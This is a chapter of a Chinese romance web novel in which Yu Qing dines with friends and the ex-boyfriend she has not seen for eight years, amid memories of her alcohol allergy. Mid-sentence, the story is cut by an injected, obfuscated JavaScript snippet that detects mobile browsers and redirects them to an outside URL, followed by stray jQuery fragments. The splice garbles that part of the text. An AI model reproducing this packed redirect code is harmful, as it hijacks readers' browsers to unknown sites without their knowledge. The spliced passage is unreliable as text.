2. 前任
作品:《于情于理[破镜重圆]》 余晴不知道好好的人均三百烤肉大餐为什么变成了人均三十烤肉大排档。
更不知道为什么一切都这样碰巧,她只是随便选了一天回自己的家拿东西,却碰上了八年没再见过的前男友。
此刻,前男友就坐在她的对面。
时间倒转回余晴见到庾礼的时刻,她罕见地没控制好自己的表情。直到纪川序开口问她回来是找什么需不需要帮忙,她才如梦初醒般带着自己碎了一角屏幕膜的手机重新进了书房。
书房还是那样凌乱,余晴却一眼锁定了自己随意摊在桌上的恐怖小杂志。
她走过去,伸手把杂志合上,像抚平自己的心情一样轻轻抚平书页后将杂志叠放在一个角落的柜子里,静静地把柜门给关上后才又走出了书房。
庾礼已经坐到沙发上,听到动静后和纪川序一起抬眼看她。
余晴微笑,心率和平常相比没有任何异常,她看向纪川序,轻声道:“我先走了。”
“晴姐——”纪川序叫住她,笑着邀请,“晚上我们一起吃饭吧?就当给我朋友接风了。我和任祺也说了,他和我说晚上本来打算和你一块吃的,现在可以我们四个一块。”
我们四个。谁和谁是我们?
余晴对着纪川序摇头:“你们吃吧,我先回去了。”
“晴姐!”纪川序从沙发上站起来,走到了余晴身边,低头看她的同时压低声音,“我朋友长得还可以吧,人也是单身,我觉得你们可以认识认识。而且你不是写小说吗,多见点人攒点素材不是挺好?”
余晴只见过纪川序几次,每次任祺都在场。在任祺的衬托下,他的没眼力见愈发明显。
余晴不了解他,他也不了解余晴。不然他很快就能从这个从来不抗拒社交也几乎没有黑过脸的女生身上看出一些问题。
但余晴也并不介意直接告诉他到底有什么问题。
“谁说我和他不认识了?”余晴歪了歪头,露出一个略带嘲讽的笑容。
这九个字出乎纪川序的预料,他的面部表情急速变化,不可置信地看看她又转头看了眼庾礼:“你们认识啊?那你们是什么关系?”
庾礼靠坐在沙发上,没有出声,只是看着余晴,等着她的回答。
按照余晴的性格,他猜测她大概会说是“高中同学”。这既是事实又不会引起多余的争端。
余晴能感受到来自前男友的炽热的目光,但她始终没有看他一眼,只回答了纪川序的问题。
“前任。”她说。
-
听纪川序复述到这里,任祺终于忍无可忍地开口:“晴姐说她和庾礼是前任,然后你还在邀请她们俩一起吃饭?”
纪川序的脑回路很简单。
这样轻而易举就承认前任关系的,分手的时候肯定很体面,这样的体面不会再容不下一顿饭。于是他在脑子宕机几秒后又很快发出吃饭的邀请。
任祺对这套理论瞠目结舌,但事实是它的确奏效了。
两位当事人看起来似乎都没有什么意见,现在正在距离他们不远处的位置里坐着,面对面低头玩手机。
任祺佯装在挑烤串,实则还在偷看那俩人。
他和庾礼不算多熟,但和余晴从小到大都一起相处,知道余晴的这一系列行为也并没有什么太大异常。
她就是这样坦荡的一个人,前任关系于她而言也并不算尴尬,毕竟她是能处理好任何关系的余晴。愿意答应来吃饭也是给身为他大学同学兼现任室友的纪川序一个面子。
但任祺还是把手里的篮子往纪川序手里一塞,让他看着选,自己三两步坐回了余晴身边。
余晴对他的到来没有任何反应,反而是对面的庾礼抬起了头看向他。
刚刚没来得及打的招呼在现在补上,任祺稍显尴尬地开口:“学长,好久不见,你回国啦。”
“好久不见。”庾礼点头,“听纪川序说你现在在A厂工作?”
“是的。”任祺回答,“做原画设计。”
回忆起高中时期校服总是被颜料搞得很脏的任祺,庾礼眼里露出一点笑意:“恭喜你。”
这是任祺的梦想。
他终于露出一个真心的笑容,也对着庾礼发出关心:“谢谢学长。学长这次回来是久居吗?之后还回英国吗?”
庾礼点头:“以后就在沥州工作,没特殊情况就不去英国了。”
任祺还是没忍住用余光去看余晴,但身边的人一切如常,滑动手机的频率都没有任何改变。
有话想说,但被拿着账单回来的纪川序给截胡,他把手里的东西放到余晴眼前,问:“晴姐,你看看还有没有你想吃的但是没点的?”
余晴接过,大致扫了一眼,看到上面有烤馒头之后就没再看,把账单转手塞给了任祺。
任祺仔仔细细地看完,问出一句:“饮料呢?”
“点了。”纪川序朝着不远处提着篮子过来的服务员抬了下下巴。
服务员把篮子里的啤酒和其他饮品放到桌上,纪川序接手,把四瓶啤酒一对一地分好,只是在最后一瓶递给余晴的时候被两只手给拦了下来。
“她酒精过敏。”
“晴姐喝不了酒。”
两句话同步落下,任祺马上抿住了嘴唇,逃避了庾礼投来的视线。
余晴面上没什么波澜,只对着纪川序点头:“我喝不了,你退了吧。”
就一瓶啤酒而已没什么好退的。纪川序接过,拿开瓶器撬开瓶盖,给自己在内的三位男性都倒上。
任祺酒杯都碰到嘴唇又被他拿开,他转头看向余晴:“吃完我开车送你回去?”
花生米被余晴咬得嘎嘣脆,她抬起眼皮,看向的却是纪川序:“举报,任祺要逃酒。”
纪川序被逗笑:“如果他要送你的话那就别喝了。”
“不用。”余晴看了眼手机里的时间,“我坐地铁回去就行。”
几个碟子很快被送到桌上,任祺自然地把有烤馒头的那碟放到余晴面前,把炼乳碟也拿了过来。
余晴连一个谢字都没说,拿起串就吃起来。
两个人自然的互动一滴不漏地被庾礼纳入眼底,他看了眼任祺见底的酒杯,抬手又给他倒上。
放下酒瓶,庾礼淡笑着开口:“学弟现在是单身吗?”
“是。”任祺抬手和他碰杯,故作不经意地反问,“学长呢?”
庾礼没说话,很轻地点了下头。
余晴仍旧在埋头吃她的烤馒头,庾礼这个视角只能看到她乌黑的发顶和她长翘的睫毛。
他收回目光,又看向任祺:“我这几天可能要先在你们这边借住一下,你方便吗?”
别说任祺,连去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669898|173105||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
接机的纪川序都是头次听到这个消息。他有些意外地看向他。
换作平常,任祺当然是无所谓。曾经也有他或者是纪川序的朋友在家里短暂住几天的经历,毕竟客房空着也是空着。
但庾礼稍微有些特殊。
任祺又一次看向余晴。她的烤馒头已经吃完了,现在正撑着脸看窗外。
玻璃上模糊着倒映出其他几个人看向她的样子,余晴终于坐直。
她拿过桌上的空酒杯,往里浅浅地倒了一个底的啤酒,拿着酒杯抬手,和庾礼的酒杯轻碰了下。
很轻的一下,庾礼的酒杯没有偏移一分一毫,杯中的液体也没有起任何波澜。
“欢迎回国。”
她说完就一饮而尽,把空酒杯推到任祺手边。
任祺了然,看向对面不知道在想什么的庾礼:“学长,借住几天当然没问题,你住客房可以吗?”
庾礼终于有所动作,拿起刚刚被余晴碰过杯的酒杯,一口喝光后才对着任祺回答:“可以。”
他又看向余晴,她已经恢复成了喝酒之前的姿势,手撑着下巴看着窗外。
庾礼看着她白皙的脖颈,没有出声。
八年前的夏天,余晴因为酒精过敏而引发急性荨麻疹被送往医院急诊之前,她的颈部是最先有反应的地方。
反应很轻微的时候庾礼就注意到了,因为余晴喝了酒脸不红,但脖子却泛着异常的红。他还握着她的手,关切地问她:“刚刚一口气喝了那么多不难受吗?”
余晴第一次喝啤酒就一口气喝了大半罐,眼睛亮晶晶地笑:“不难受啊。”
但也仅限那么一会儿,她很快就也感觉到不对劲,拉着庾礼和自己一起去医院。
她们共同注视着针扎入手背,余晴难受得说不出话,庾礼把头埋在她的颈侧,反反复复地道歉。为他不知道她酒精过敏道歉,为没有早点带她来医院道歉,为他没有照顾好她道歉。
两大瓶点滴,打完已经是半夜,她的体表症状已经不再明显,只是累得睡着了。
他握着她的另一只手,许下了一句郑重的誓言——“以后我会好好照顾你,不会再让你这样难受。”
熟睡中的她没听到这句话。
他那个时候也没料到,她们没再有以后。
回过神来,庾礼再次看向她的脖颈,泛着淡淡的红,但其他地方都没什么反应,余晴本人看起来也没问题。
对着窗外发了半天呆后她终于又有食欲,低头审视着桌上被肉堆满的碟子,思考着要拿什么。
庾礼伸手,把牛肉那碟换到她的面前。
“谢谢。”他听到她说。
余晴在那碟全是牛肉串的碟子里随便选了一串,一边听纪川序和任祺聊天一边吃。
三四串下肚,她又一次体会到饱腹感,把碟子又给推回到庾礼跟前。
他低眼看向她,她也毫不回避,轻声道:“我吃饱了。”
庾礼再次看向她的颈侧,似乎已经不再那样泛红,仿佛一切都只是他的错觉。
八年前的夏季不会再重来,现在的余晴也不会再让自己陷入要进急诊的危险境地。
一切都那样自然,自然得好像她和他就只是高中同学那样普通的关系。
但庾礼比谁都清楚,他是她的前男友。
却也仅此而已。